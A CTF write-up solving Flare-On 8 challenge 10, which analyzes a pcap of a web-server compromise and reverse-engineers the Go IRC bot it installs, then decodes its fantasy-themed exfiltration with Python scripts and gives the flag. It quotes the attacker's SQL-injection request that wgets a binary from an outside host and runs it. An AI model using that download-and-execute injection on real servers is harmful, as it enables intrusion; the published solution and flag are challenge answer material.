This page looks best with JavaScript enabled

Flare-On 8 2021 Challenge 10 Solution - 10_wizardcult

Hosted by FireEye's FLARE team from 10 September - 22 October

 ·  ☕ 16 min read  ·  🌚 drome

Thanks drome for sharing his knowledge and skills! He completed all 10 challenges and this series of writeups is done by him :)

Details Links
Official Challenge Site https://flare-on.com/
Official Challenge Announcement https://www.fireeye.com/blog/threat-research/2021/08/announcing-the-eighth-annual-flare-on-challenge.html
Official Solutions https://www.mandiant.com/resources/flare-on-8-challenge-solutions
Official Challenge Binaries http://flare-on.com/files/Flare-On8_Challenges.zip

10_wizardcult

We have one final task for you. We captured some traffic of a malicious cyber-space computer hacker interacting with our web server. Honestly, I padded my resume a bunch to get this job and don’t even know what a pcap file does, maybe you can figure out what’s going on.
7zip password: flare

Here we’re given a pcap file called wizardcult.pcap.
TCP stream 1 has this GET request from the client (attacker) .249 to the server at .245.

1
2
3
4
GET /router/admin.php?auth=ADMIN%20or%201=1&cmd=wget%20-O%20%2Fmages_tower%2Finduct%20http%3A%2F%2Fwizardcult.flare-on.com%2Finduct HTTP/1.1
Host: 172.16.30.245
User-Agent: curl/7.47.0
Accept: */*

In stream 2, the server makes a GET request (through wget) to the attacker at /induct, to which the attacker replies with an ELF file.
In stream 3 and 4, the attacker sends 2 more GET requests with the following cmd parameters (URL encoded),

chmod +x /mages_tower/induct
/mages_tower/induct

This is clearly an SQLi attack where the attacker has RCE and is making the server execute the ELF binary.

Afterwards in stream 5, the server makes a connection to what seems to be the attacker’s IRC server, and sends many messages.

IRC commands and responses captured in Wireshark

ELF File

arch     x86
baddr    0x400000
binsz    7694693
bintype  elf
bits     64
canary   false
class    ELF64
crypto   false
endian   little
havecode true
intrp    /lib64/ld-linux-x86-64.so.2
laddr    0x0
lang     go
linenum  true
lsyms    true
machine  AMD x86-64 architecture
nx       true
os       linux
pic      false
relocs   true
relro    no
rpath    NONE
sanitize false
static   false
stripped false
subsys   linux
va       true

Looks like a Go binary from all the function names like net_http_fixTrailer_func1. Initially we analyzed it on Windows since we had IDA Pro on it, and used IDAGolangHelper plugin to try to make it nicer, but the improvements weren’t that noticeable. In addition, the decompiler view was not significantly better than graph view because the control flow isn’t that complicated, and the decompiler wasn’t able to analyze the arguments in function calls properly.

The binary uses the girc library for its IRC communication with the server at wizardcult.flare-on.com.

From main_main_func1, the following are mapped together

  • Potion of Acid Resistance, "The beast smells quite foul.", Graf's Infernal Disco, triggers the command potion which runs a command.
  • Potion of Water Breathing, "The beast sits in the water, waiting for you to approach it.", The Sunken Crypt, triggers the readfile potion
  • Potion of Watchful Rest, "The beast sings you a lullaby.", Pits of the Savage Mag
  • Potion of Superior Healing, "You are wounded.", Burrows of the Brutal Desert

There is a wizardcult_comms_ProcessDMMessage, called by main_main_func2, and it looks important. It replies

  • ", what is your quest?" with "My quest is to retrieve the Big Pterodactyl Fossil", then expects "welcome to the party."
  • "you have learned how to create the " then expects "Potion of"".", then calls wizardcult_vm_LoadProgram.

There is an wizardcult_vm___ptr_Cpu__Execute, and other similarly named functions

Functions related to VM instructions

This suggests that the potions that the server is sending the client are actually custom VM instructions.

  • In wizardcult_potion_CommandPotion, after executing the command using os.exec.Command, it calls wizardcult_vm___ptr_Program__Execute.
  • Similarly, wizardcult_potion_ReadFilePotion will also call wizardcult_vm___ptr_Program__Execute after reading the file.
  • wizardcult_tables_Ingredients seems to convert potion ingredients to instructions
  • wizardcult_comms_CastSpells calls sprintf using the string "I cast %s on the %s for %dd%d damage!".

Combining what we know here with what we see in the IRC conversation, it seems that when the server sends the recipe for a potion, it is actually instructions in their custom VM. The potion is tied to a specific dungeon, and a command (read file or execute command), and must be triggered with some key phrase like "The beast smells quite foul". Afterwards the client will reply with the command result passed through the VM instructions, in the form "I cast %s on the Goblin for %dd%d damage!".

Dynamic Analysis

We launch our Linux machine, set up a simple server to replay the traffic that we saw in the pcap, set our hosts file to point the server to the localhost, then run the malware, and see where it runs in the binary.

Note that when replaying the traffic, we have to change the name to the nickname that it set, and put a newline at the end of every message, if not it will not process and transfer execution flow to wizardcult_comms_ProcessDMMessage.

We replay the traffic up to the point where the player enters Graf's Internal Disco, then breakpoint at wizardcult_potion_CommandPotion.

We are able to see the decoded command through the function arguments, and find that it was ls /mages_tower, which corresponds to the message frightening, virtual, danish, flimsy, gruesome great, dark oppressive, bad, average, virtual, last, more strange, inhospitable, slimy, average, and few dismal that we sent.

Here, we can tell that one comma-separated phrase corresponds to a single character in the decoded command.

It is hard to immediately identify which specific phrases in the binary are converted to characters since they are not all grouped together statically in the binary. The function responsible for this seems to be wizardcult_tables_GetBytesFromTable but instead of analyzing that function, we reran the binary but this time sent this message that we found in the second command in the IRC conversation

flimsy, gruesome great, dark oppressive, bad, average, virtual, last, more strange, inhospitable, slimy, average, few dismal, flimsy, dark and gruesome, inhospitable, inhospitable, frightening, last, slimy, nicest, solid, dark oppressive, few dismal, deep subterranean, last, gruesome great, average, gruesome great, average, cruel, damned, common, and bad..

Then we breakpoint at wizardcult_potion_CommandPotion and see that this corresponds to /mages_tower/cool_wizard_meme.png, which makes sense as the second message was in The Sunken Crypt which is a read file command.

We run this script to get the mappings

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
cmd_1 = "ls /mages_tower"
encoded_cmd_1 = "frightening, virtual, danish, flimsy, gruesome great, dark oppressive, bad, average, virtual, last, more strange, inhospitable, slimy, average, and few dismal"
encoded_cmd_1 = encoded_cmd_1.split(',')
encoded_cmd_1 = [enc.strip() for enc in encoded_cmd_1]
encoded_cmd_1[-1] = encoded_cmd_1[-1][4:]

decode_table = {}
encode_table = {}

for b, enc in zip(cmd_1, encoded_cmd_1):
	decode_table[enc] = b
	encode_table[b] = enc

cmd_2 = "/mages_tower/cool_wizard_meme.png"

encoded_cmd_2 = "flimsy, gruesome great, dark oppressive, bad, average, virtual, last, more strange, inhospitable, slimy, average, few dismal, flimsy, dark and gruesome, inhospitable, inhospitable, frightening, last, slimy, nicest, solid, dark oppressive, few dismal, deep subterranean, last, gruesome great, average, gruesome great, average, cruel, damned, common"
encoded_cmd_2 = encoded_cmd_2.split(',')
encoded_cmd_2 = [enc.strip() for enc in encoded_cmd_2]
encoded_cmd_2[-1] = encoded_cmd_2[-1][4:]

for b, enc in zip(cmd_2, encoded_cmd_2):
	decode_table[enc] = b
	encode_table[b] = enc

print(sorted(encode_table.items()))

which gives us this

[
    (' ', 'danish'),
    ('.', 'cruel'),
    ('/', 'flimsy'),
    ('_', 'last'),
    ('a', 'dark oppressive'),
    ('c', 'dark and gruesome'),
    ('d', 'deep subterranean'),
    ('e', 'average'),
    ('g', 'bad'),
    ('i', 'nicest'),
    ('l', 'frightening'),
    ('m', 'gruesome great'),
    ('n', 'on'),
    ('o', 'inhospitable'),
    ('p', 'damned'),
    ('r', 'few dismal'),
    ('s', 'virtual'),
    ('t', 'more strange'),
    ('w', 'slimy'),
    ('z', 'solid'),
]

Note that in order for the command to work, we have to send the and for the last item and the ending .. after it.

Analyzing the command response

We change the command to ls mages_tower (by removing flimsy in the message), create that folder, add the file cool_wizard_meme.png to the folder so that it is as close as we can get to the original message, then get the following response:

PRIVMSG #dungeon :I quaff my potion and attack!
PRIVMSG #dungeon :I cast Moonbeam on the Goblin for 205d205 damage!
PRIVMSG #dungeon :I cast Reverse Gravity on the Goblin for 253d213 damage!
PRIVMSG #dungeon :I cast Water Walk on the Goblin for 216d195 damage!
PRIVMSG #dungeon :I cast Mass Suggestion on the Goblin for 198d253 damage!
PRIVMSG #dungeon :I cast Planar Ally on the Goblin for 199d207 damage!
PRIVMSG #dungeon :I cast Water Breathing on the Goblin for 140d210 damage!
PRIVMSG #dungeon :I cast Conjure Barrage on the Goblin for 197d168 damage!
PRIVMSG #dungeon :I do believe I have slain the Goblin

The original response to ls /mages_tower was:

PRIVMSG #dungeon :I quaff my potion and attack!
PRIVMSG #dungeon :I cast Moonbeam on the Goblin for 205d205 damage!
PRIVMSG #dungeon :I cast Reverse Gravity on the Goblin for 253d213 damage!
PRIVMSG #dungeon :I cast Water Walk on the Goblin for 216d195 damage!
PRIVMSG #dungeon :I cast Mass Suggestion on the Goblin for 198d253 damage!
PRIVMSG #dungeon :I cast Planar Ally on the Goblin for 199d207 damage!
PRIVMSG #dungeon :I cast Water Breathing on the Goblin for 140d210 damage!
PRIVMSG #dungeon :I cast Conjure Barrage on the Goblin for 197d168 damage!
PRIVMSG #dungeon :I cast Water Walk on the Goblin for 204d198 damage!
PRIVMSG #dungeon :I cast Call Lightning on the Goblin for 193d214 damage!
PRIVMSG #dungeon :I cast Branding Smite on the Goblin!
PRIVMSG #dungeon :I do believe I have slain the Goblin

Only the last 3 lines of the original response differ from the new one.
We change the folder structure and add AAAAA...AAA as the only file in that folder, then get the following response:

PRIVMSG #dungeon :I quaff my potion and attack!
PRIVMSG #dungeon :I cast Divine Favor on the Goblin for 227d227 damage!
PRIVMSG #dungeon :I cast Divine Favor on the Goblin for 227d227 damage!
PRIVMSG #dungeon :I cast Divine Favor on the Goblin for 227d227 damage!
PRIVMSG #dungeon :I cast Divine Favor on the Goblin for 227d227 damage!
PRIVMSG #dungeon :I cast Divine Favor on the Goblin for 227d227 damage!
...
PRIVMSG #dungeon :I cast Divine Favor on the Goblin for 227d227 damage!
PRIVMSG #dungeon :I cast Divine Favor on the Goblin for 227d227 damage!
PRIVMSG #dungeon :I cast Divine Favor on the Goblin for 168 raw damage!
PRIVMSG #dungeon :I do believe I have slain the Goblin

There is some kind of encoding going on here, probably from the VM instructions.
We try with a file name AAABBBCCCDDDEEE... and get this response:

PRIVMSG #dungeon :I cast Divine Favor on the Goblin for 227d227 damage!
PRIVMSG #dungeon :I cast Animate Dead on the Goblin for 224d224 damage!
PRIVMSG #dungeon :I cast Mind Blank on the Goblin for 225d225 damage!
PRIVMSG #dungeon :I cast Blight on the Goblin for 230d230 damage!
PRIVMSG #dungeon :I cast Barkskin on the Goblin for 231d231 damage!
PRIVMSG #dungeon :I cast Telepathy on the Goblin for 228d228 damage!
PRIVMSG #dungeon :I cast Vicious Mockery on the Goblin for 229d229 damage!
PRIVMSG #dungeon :I cast Find Traps on the Goblin for 234d234 damage!
PRIVMSG #dungeon :I cast Animal Shapes on the Goblin for 235d235 damage!
PRIVMSG #dungeon :I cast Counterspell on the Goblin for 232d232 damage!
PRIVMSG #dungeon :I cast Conjure Fey on the Goblin for 233d233 damage!
PRIVMSG #dungeon :I cast Warding Bond on the Goblin for 238d238 damage!
...

This means that each spell / damage number probably corresponds to a single byte, meaning that the VM instructions for the command potion probably does a simple substitution of one plaintext byte for one ciphertext byte. If this were the case, we could simply find out all the mappings of ciphertext bytes to plaintext bytes, and see what was sent in the pcap. However, judging from how there were only 3 lines differentiating the original response from the one we got, the flag isn’t likely to be in the first command response, and we should look into the read file potion response instead.

Analyzing the read file response

From what we gathered previously, the second exchange between the server and client in the original pcap was probably a read file command to mages_tower/cool_wizard_meme.png, then through some encoder defined by the Potion of Water Breathing potion instructions.

We change the read file command to point to mages_tower/cool_wizard_meme.png, then set the file cool_wizard_meme.png to contain b"\x00\x00\x00\x01\x01\x01...", hoping to see something like what we got for the AAABBBCCCDDDEEE... filename response. However, we don’t get something nice like that, and it actually looks quite random. This means that the VM instructions in the read file potion doesn’t do the same thing as the command potion.

We try to simplify our plaintext to see if there’s any patterns we can exploit, so we send 256 null bytes b"\x00\x00\x00...", and get this

PRIVMSG #dungeon :I quaff my potion and attack!
PRIVMSG #dungeon :I cast Feather Fall on the Wyvern for 218d197 damage!
PRIVMSG #dungeon :I cast Flesh to Stone on the Wyvern for 40d117 damage!
PRIVMSG #dungeon :I cast Shillelagh on the Wyvern for 3d248 damage!
PRIVMSG #dungeon :I cast Spider Climb on the Wyvern for 197d211 damage!
PRIVMSG #dungeon :I cast Cure Wounds on the Wyvern for 145d131 damage!
PRIVMSG #dungeon :I cast Disintegrate on the Wyvern for 93d13 damage!
PRIVMSG #dungeon :I cast Shillelagh on the Wyvern for 203d64 damage!
PRIVMSG #dungeon :I cast Animate Dead on the Wyvern for 133d234 damage!
PRIVMSG #dungeon :I cast Feather Fall on the Wyvern for 218d197 damage!
PRIVMSG #dungeon :I cast Flesh to Stone on the Wyvern for 40d117 damage!
PRIVMSG #dungeon :I cast Shillelagh on the Wyvern for 3d248 damage!
PRIVMSG #dungeon :I cast Spider Climb on the Wyvern for 197d211 damage!
PRIVMSG #dungeon :I cast Cure Wounds on the Wyvern for 145d131 damage!
PRIVMSG #dungeon :I cast Disintegrate on the Wyvern for 93d13 damage!
PRIVMSG #dungeon :I cast Shillelagh on the Wyvern for 203d64 damage!
PRIVMSG #dungeon :I cast Animate Dead on the Wyvern for 133d234 damage!
PRIVMSG #dungeon :I cast Feather Fall on the Wyvern for 218d197 damage!
PRIVMSG #dungeon :I cast Flesh to Stone on the Wyvern for 40d117 damage!
PRIVMSG #dungeon :I cast Shillelagh on the Wyvern for 3d248 damage!
PRIVMSG #dungeon :I cast Spider Climb on the Wyvern for 197d211 damage!
PRIVMSG #dungeon :I cast Cure Wounds on the Wyvern for 145d131 damage!
PRIVMSG #dungeon :I cast Disintegrate on the Wyvern for 93d13 damage!
PRIVMSG #dungeon :I cast Shillelagh on the Wyvern for 203d64 damage!
PRIVMSG #dungeon :I cast Animate Dead on the Wyvern for 133d234 damage!
...
PRIVMSG #dungeon :I do believe I have slain the Wyvern

We sent 256 bytes, and there are 256 entries (spells and damage numbers) here, so there probably isn’t any compression going on, just encryption of some kind. In addition, we see that there are repeats every 24 bytes. If there’s no rearrangement of bytes within the block, and each byte in the plaintext corresponds to the ciphertext byte at the same offset, then we could take a shortcut, and just map out the pair (value, position mod 24) to the plaintext value, instead of having to analyze the custom VM instructions.

We change the plaintext file to something slightly more complicated but still follows the 24 block format

1
2
a = [0] * 24 + [1] * 24 + [0] * 12 + [1] * 12
open('mages_tower/cool_wizard_meme.png', 'wb').write(bytes(a))

Then run it again and get this

PRIVMSG #dungeon :I quaff my potion and attack!
PRIVMSG #dungeon :I cast Feather Fall on the Wyvern for 218d197 damage!
PRIVMSG #dungeon :I cast Flesh to Stone on the Wyvern for 40d117 damage!
PRIVMSG #dungeon :I cast Shillelagh on the Wyvern for 3d248 damage!
PRIVMSG #dungeon :I cast Spider Climb on the Wyvern for 197d211 damage!
PRIVMSG #dungeon :I cast Cure Wounds on the Wyvern for 145d131 damage!
PRIVMSG #dungeon :I cast Disintegrate on the Wyvern for 93d13 damage!
PRIVMSG #dungeon :I cast Shillelagh on the Wyvern for 203d64 damage!
PRIVMSG #dungeon :I cast Animate Dead on the Wyvern for 133d234 damage!
PRIVMSG #dungeon :I cast Bestow Curse on the Wyvern for 76d83 damage!
PRIVMSG #dungeon :I cast Blinding Smite on the Wyvern for 98d154 damage!
PRIVMSG #dungeon :I cast Blade Ward on the Wyvern for 60d41 damage!
PRIVMSG #dungeon :I cast Tongues on the Wyvern for 83d231 damage!
PRIVMSG #dungeon :I cast Hail of Thorns on the Wyvern for 115d214 damage!
PRIVMSG #dungeon :I cast Insect Plague on the Wyvern for 84d137 damage!
PRIVMSG #dungeon :I cast Blade Ward on the Wyvern for 18d36 damage!
PRIVMSG #dungeon :I cast Contingency on the Wyvern for 252d168 damage!
PRIVMSG #dungeon :I cast Feather Fall on the Wyvern for 218d197 damage!
PRIVMSG #dungeon :I cast Flesh to Stone on the Wyvern for 40d117 damage!
PRIVMSG #dungeon :I cast Shillelagh on the Wyvern for 3d248 damage!
PRIVMSG #dungeon :I cast Spider Climb on the Wyvern for 197d211 damage!
PRIVMSG #dungeon :I cast Hail of Thorns on the Wyvern for 115d214 damage!
PRIVMSG #dungeon :I cast Insect Plague on the Wyvern for 84d137 damage!
PRIVMSG #dungeon :I cast Blade Ward on the Wyvern for 18d36 damage!
PRIVMSG #dungeon :I cast Contingency on the Wyvern for 252d168 damage!
PRIVMSG #dungeon :I do believe I have slain the Wyvern

This response should be split up into 3 parts, each of 8 lines (24 bytes) — 1st block is purely 0x00 bytes, 2nd block is purely 0x01 bytes, and 3rd block is mixed where the first 12 bytes are 0x00 bytes and the next 12 are 0x01.
As we hoped, the first 4 lines of the pure 0x00 block match the first 4 lines of the last mixed block, and the last 4 lines of the pure 0x01 block matches the last 4 of the mixed block, which means that there is probably no intra-block rearrangement involved and we should try doing the mapping as previously described.

To get a comprehensive map of each (ciphertext entity, offset mod 24) pair to its corresponding plaintext byte, we need to know the ciphertext entities for every pair of (offset mod 24, plaintext byte). To do this, use this script to create a file that has every pair we need:

1
2
3
4
5
a = []
for i in range(0x100):
    a += [i] * 24
 
open('mages_tower/cool_wizard_meme.png', 'wb').write(bytes(a)) 

Then we run the server script again. Note that because the response is so big, we have to constantly call recv on our server script or else we’ll have issues with our TCP window filling up. We take the response from the server, then generate our mapping

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
import re

pattern = r"PRIVMSG #dungeon :I cast (.*) on the Wyvern for (\d+)d(\d+) damage!"

decode_table = {}
entities = []

with open("response_24_x_all256bytes.txt", "r") as fp:
	lines = fp.readlines()

for line in lines:
	match = re.match(pattern, line)
	for j in range(3):
		entities.append(match.group(j+1))

print(f"{len(entities)} entities")

for i, entity in enumerate(entities):
	byte_number = i // 24
	mod_24 = i % 24
	decode_table[(entity, mod_24)] = byte_number

Afterwards, we take the original response from the pcap and apply the mapping

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
with open("response_wizardmeme.txt", "r") as fp:
	wizardmeme_lines = fp.readlines()

ans = []

wizardmeme_entities = []
for line in wizardmeme_lines:
	match = re.match(pattern, line)
	for j in range(3):
		wizardmeme_entities.append(match.group(j+1))

for i, entity in enumerate(wizardmeme_entities):
	mod_24 = i % 24
	ans.append(decode_table[(entity, mod_24)])

print(bytes(ans[:10]))

and check the first few bytes to see if it makes sense. We get b'\x89PNG\r\n\x1a\n\x00\x00', which has the PNG magic bytes, so it looks like we were successful.

We dump out our entire decoded message, and open it, which gives us our flag.

Flag in final decoded image

Solution Script

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import re

pattern = r"PRIVMSG #dungeon :I cast (.*) on the Wyvern for (\d+)d(\d+) damage!"

decode_table = {}
entities = []

with open("response_24_x_all256bytes.txt", "r") as fp:
	lines = fp.readlines()

for line in lines:
	match = re.match(pattern, line)
	for j in range(3):
		entities.append(match.group(j+1))

print(f"{len(entities)} entities")

for i, entity in enumerate(entities):
	byte_number = i // 24
	mod_24 = i % 24
	decode_table[(entity, mod_24)] = byte_number

with open("response_wizardmeme.txt", "r") as fp:
	wizardmeme_lines = fp.readlines()

ans = []

wizardmeme_entities = []
for line in wizardmeme_lines:
	match = re.match(pattern, line)
	for j in range(3):
		wizardmeme_entities.append(match.group(j+1))

for i, entity in enumerate(wizardmeme_entities):
	mod_24 = i % 24
	ans.append(decode_table[(entity, mod_24)])

with open('wizardmeme.png', 'wb') as fp:
	fp.write(bytes(ans))

Flag

wh0_n33ds_sw0rds_wh3n_you_h4ve_m4ge_h4nd@flare-on.com
Share on